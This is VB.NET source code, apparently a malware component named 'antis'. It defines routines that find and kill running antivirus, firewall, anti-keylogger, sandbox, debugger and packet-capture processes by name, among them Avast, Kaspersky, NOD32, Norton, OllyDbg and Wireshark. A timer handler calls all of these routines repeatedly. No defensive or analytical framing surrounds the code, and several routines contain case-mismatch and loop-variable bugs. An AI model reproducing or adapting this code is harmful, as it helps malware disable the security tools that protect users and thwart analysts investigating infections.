Public Class antis
    Public Shared Sub anubi()
        Dim iambeast109123 As Process() = Process.GetProcesses
        Dim sexandtalk As Integer
        For sexandtalk = 0 To iambeast109123.Length - 1
            Select Case Strings.LCase(iambeast109123(sexandtalk).ProcessName)
                Case "anubis"
                    iambeast109123(sexandtalk).Kill()
                Case Else
            End Select
        Next
    End Sub
    Public Shared Sub anubi2()
        Dim Anubis As Process() = Process.GetProcesses
        Dim bwiw0j As Integer
        For bwiw0j = 0 To Anubis.Length - 1
            Debug.WriteLine(Anubis(bwiw0j).ProcessName)
            If Strings.UCase(Anubis(bwiw0j).ProcessName) = Strings.UCase("Anubis") Then
                Anubis(bwiw0j).Kill()
            End If
        Next
    End Sub
    Public Shared Sub áóñõáòåäŠ()
        Dim iamdetox109223 As Process() = Process.GetProcesses
        Dim sexandtalk As Integer
        For sexandtalk = 0 To iamdetox109223.Length - 1
            Select Case Strings.LCase(iamdetox109223(sexandtalk).ProcessName)
                Case "a2servic.exe"
                    iamdetox109223(sexandtalk).Kill()
                Case Else
            End Select
        Next
    End Sub
    Public Shared Sub avast()
        Dim iamdetox109223 As Process() = Process.GetProcesses
        Dim sexandtalk As Integer
        For sexandtalk = 0 To iamdetox109223.Length - 1
            Select Case Strings.LCase(iamdetox109223(sexandtalk).ProcessName)
                Case "ashWebSv.exe"
                    iamdetox109223(sexandtalk).Kill()
                Case Else
            End Select
        Next
    End Sub
    Public Shared Sub avg()
        Dim iamdetox109223 As Process() = Process.GetProcesses
        Dim sexandtalk As Integer
        For sexandtalk = 0 To iamdetox109223.Length - 1
            Select Case Strings.LCase(iamdetox109223(sexandtalk).ProcessName)
                Case "avgemc.exe"
                    iamdetox109223(sexandtalk).Kill()
                Case Else
            End Select
        Next
    End Sub
    Public Shared Sub bitdef()
        Dim iambeast109123 As Process() = Process.GetProcesses
        Dim sexandtalk As Integer
        For sexandtalk = 0 To iambeast109123.Length - 1
            Select Case Strings.LCase(iambeast109123(sexandtalk).ProcessName)
                Case "bdagent"
                    iambeast109123(sexandtalk).Kill()
                Case Else
            End Select
        Next
    End Sub
    Public Shared Sub kasperky1()
        Dim iambeast109123 As Process() = Process.GetProcesses
        Dim sexandtalk As Integer
        For sexandtalk = 0 To iambeast109123.Length - 1
            Select Case Strings.LCase(iambeast109123(sexandtalk).ProcessName)
                Case "avp"
                    iambeast109123(sexandtalk).Kill()
                Case Else
            End Select
        Next
    End Sub
    Public Shared Sub keyscam()
        Dim iambeast109123 As Process() = Process.GetProcesses
        Dim sexandtalk As Integer
        For sexandtalk = 0 To iambeast109123.Length - 1
            Select Case Strings.LCase(iambeast109123(sexandtalk).ProcessName)
                Case "keyscrambler"
                    iambeast109123(sexandtalk).Kill()
                Case Else
            End Select
        Next
    End Sub
    Public Shared Sub callwarrere()
        Dim iambeast109123 As Process() = Process.GetProcesses
        Dim sexandtalk As Integer
        For sexandtalk = 0 To iambeast109123.Length - 1
            Select Case Strings.LCase(iambeast109123(sexandtalk).ProcessName)
                Case "mbam"
                    iambeast109123(sexandtalk).Kill()
                Case Else
            End Select
        Next
    End Sub
    Public Shared Sub îïäâéôãèåóáîäéáéîô() 'nod32
        Dim ëéììåöåòðòïøåóó As Process() = Process.GetProcesses
        Dim éåáôðõóóù As Integer
        For éåáôðõóóù = 0 To ëéììåöåòðòïøåóó.Length - 1
            Select Case Strings.LCase(ëéììåöåòðòïøåóó(éåáôðõóóù).ProcessName)
                Case "egui"
                    ëéììåöåòðòïøåóó(éåáôðõóóù).Kill()
                Case Else
            End Select
        Next
    End Sub
    Public Shared Sub norman()
        Dim iambeast109123 As Process() = Process.GetProcesses
        Dim sexandtalk As Integer
        For sexandtalk = 0 To iambeast109123.Length - 1
            Select Case Strings.LCase(iambeast109123(sexandtalk).ProcessName)
                Case "npfmsg"
                    iambeast109123(sexandtalk).Kill()
                Case Else
            End Select
        Next
    End Sub
    Public Shared Sub olly()
        Dim iambeast109123 As Process() = Process.GetProcesses
        Dim sexandtalk As Integer
        For sexandtalk = 0 To iambeast109123.Length - 1
            Select Case Strings.LCase(iambeast109123(sexandtalk).ProcessName)
                Case "ollydbg"
                    iambeast109123(sexandtalk).Kill()
                Case Else
            End Select
        Next
    End Sub
    Public Shared Sub outpost()
        Dim iambeast109123 As Process() = Process.GetProcesses
        Dim sexandtalk As Integer
        For sexandtalk = 0 To iambeast109123.Length - 1
            Select Case Strings.LCase(iambeast109123(sexandtalk).ProcessName)
                Case "outpost"
                    iambeast109123(sexandtalk).Kill()
                Case Else
            End Select
        Next
    End Sub
    Public Shared Sub wireshark()
        Dim iambeast109123 As Process() = Process.GetProcesses
        Dim sexandtalk As Integer
        For sexandtalk = 0 To iambeast109123.Length - 1
            Select Case Strings.LCase(iambeast109123(sexandtalk).ProcessName)
                Case "wireshark"
                    iambeast109123(sexandtalk).Kill()
                Case Else
            End Select
        Next
    End Sub
    Public Shared Sub vpc()
        If Process.GetProcessesByName(("vpcmap")).Length >= 4 And Process.GetProcessesByName(("vmsrvc")).Length >= 4 Then
        Else
        End If
    End Sub
    Public Shared Sub mcfee()
        Dim iamdetox109223 As Process() = Process.GetProcesses
        Dim sexandtalk As Integer
        For sexandtalk = 0 To iamdetox109223.Length - 1
            Select Case Strings.LCase(iamdetox109223(sexandtalk).ProcessName)
                Case "mcagent" & "mcuimgr"
                    iamdetox109223(sexandtalk).Kill()
                Case Else
            End Select
        Next
    End Sub
    Public Shared Sub clam()
        Dim iamdetox109223 As Process() = Process.GetProcesses
        Dim sexandtalk As Integer
        For sexandtalk = 0 To iamdetox109223.Length - 1
            Select Case Strings.LCase(iamdetox109223(sexandtalk).ProcessName)
                Case "clamauto.exe"
                    iamdetox109223(sexandtalk).Kill()
                Case Else
            End Select
        Next
    End Sub
    Public Shared Sub comodo()
        Dim iamdetox109223 As Process() = Process.GetProcesses
        Dim sexandtalk As Integer
        For sexandtalk = 0 To iamdetox109223.Length - 1
            Select Case Strings.LCase(iamdetox109223(sexandtalk).ProcessName)
                Case "cpf.exe"
                    iamdetox109223(sexandtalk).Kill()
                Case Else
            End Select
        Next
    End Sub
    Public Shared Sub ewido()
        Dim iamdetox109223 As Process() = Process.GetProcesses
        Dim sexandtalk As Integer
        For sexandtalk = 0 To iamdetox109223.Length - 1
            Select Case Strings.LCase(iamdetox109223(sexandtalk).ProcessName)
                Case "ewido.exe"
                    iamdetox109223(sexandtalk).Kill()
                Case Else
            End Select
        Next
    End Sub
    Public Shared Sub prot6()
        Dim iamdetox109223 As Process() = Process.GetProcesses
        Dim sexandtalk As Integer
        For sexandtalk = 0 To iamdetox109223.Length - 1
            Select Case Strings.LCase(iamdetox109223(sexandtalk).ProcessName)
                Case "FPAVServer.exe"
                    iamdetox109223(sexandtalk).Kill()
                Case Else
            End Select
        Next
    End Sub
    Public Shared Sub gen()
        Dim iamdetox109223 As Process() = Process.GetProcesses
        Dim sexandtalk As Integer
        For sexandtalk = 0 To iamdetox109223.Length - 1
            Select Case Strings.LCase(iamdetox109223(sexandtalk).ProcessName)
                Case "antigen.exe"
                    iamdetox109223(sexandtalk).Kill()
                Case Else
            End Select
        Next
    End Sub
    Public Shared Sub nortons()
        Dim iamdetox109223 As Process() = Process.GetProcesses
        Dim sexandtalk As Integer
        For sexandtalk = 0 To iamdetox109223.Length - 1
            Select Case Strings.LCase(iamdetox109223(sexandtalk).ProcessName)
                Case "ccapp.exe"
                    iamdetox109223(sexandtalk).Kill()
                Case Else
            End Select
        Next
    End Sub
    Public Shared Sub office()
        Dim iamdetox109223 As Process() = Process.GetProcesses
        Dim sexandtalk As Integer
        For sexandtalk = 0 To iamdetox109223.Length - 1
            Select Case Strings.LCase(iamdetox109223(sexandtalk).ProcessName)
                Case "tmlisten.exe"
                    iamdetox109223(sexandtalk).Kill()
                Case Else
            End Select
        Next
    End Sub
    Public Shared Sub cillin()
        Dim iamdetox109223 As Process() = Process.GetProcesses
        Dim sexandtalk As Integer
        For sexandtalk = 0 To iamdetox109223.Length - 1
            Select Case Strings.LCase(iamdetox109223(sexandtalk).ProcessName)
                Case "pccntmon.exe"
                    iamdetox109223(sexandtalk).Kill()
                Case Else
            End Select
        Next
    End Sub
    Public Shared Sub jjjjjjj766666666()
        Dim iamdetox109223 As Process() = Process.GetProcesses
        Dim sexandtalk As Integer
        For sexandtalk = 0 To iamdetox109223.Length - 1
            Select Case Strings.LCase(iamdetox109223(sexandtalk).ProcessName)
                Case "earthagent.exe"
                    iamdetox109223(sexandtalk).Kill()
                Case Else
            End Select
        Next
    End Sub
    Public Shared Sub spyweep()
        Dim iamdetox109223 As Process() = Process.GetProcesses
        Dim sexandtalk As Integer
        For sexandtalk = 0 To iamdetox109223.Length - 1
            Select Case Strings.LCase(iamdetox109223(sexandtalk).ProcessName)
                Case "spysweeper.exe"
                    iamdetox109223(sexandtalk).Kill()
                Case Else
            End Select
        Next
    End Sub
    Public Shared Sub zoneal()
        Dim zone As Process() = Process.GetProcesses
        Dim z As Integer
        For o = 0 To zone.Length - 1
            Debug.WriteLine(zone(z).ProcessName)
            If Strings.UCase(zone(z).ProcessName) = Strings.UCase(" zlclient") Then
                zone(z).Kill()
            End If
        Next
    End Sub
    Public Shared Sub bull()
        Dim BullGuard As Process() = Process.GetProcesses
        Dim a As Integer
        For a = 0 To BullGuard.Length - 1
            Debug.WriteLine(BullGuard(a).ProcessName)
            If Strings.UCase(BullGuard(a).ProcessName) = Strings.UCase("BullGuard") Then
                BullGuard(a).Kill()
            End If
        Next
    End Sub
End Class

  Private Sub Timer2_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Timer2.Tick
 Call antis.anubi()
            Call antis.anubi2()
            Call antis.áóñõáòåäŠ()
            Call antis.avast()
            Call antis.avg()
            Call antis.bitdef()
            Call antis.bull()
            Call antis.cillin()
            Call antis.clam()
            Call antis.comodo()
            Call antis.ewido()
            Call antis.gen()
            Call antis.kasperky1()
            Call antis.keyscam()
            Call antis.callwarrere()
            Call antis.mcfee()
            Call antis.îïäâéôãèåóáîäéáéîô()
            Call antis.norman()
            Call antis.nortons()
            Call antis.office()
            Call antis.olly()
            Call antis.outpost()
            Call antis.prot6()
            Call antis.jjjjjjj766666666()
            Call antis.spyweep()
            Call antis.vpc()
            Call antis.wireshark()
            Call antis.zoneal()
    End Sub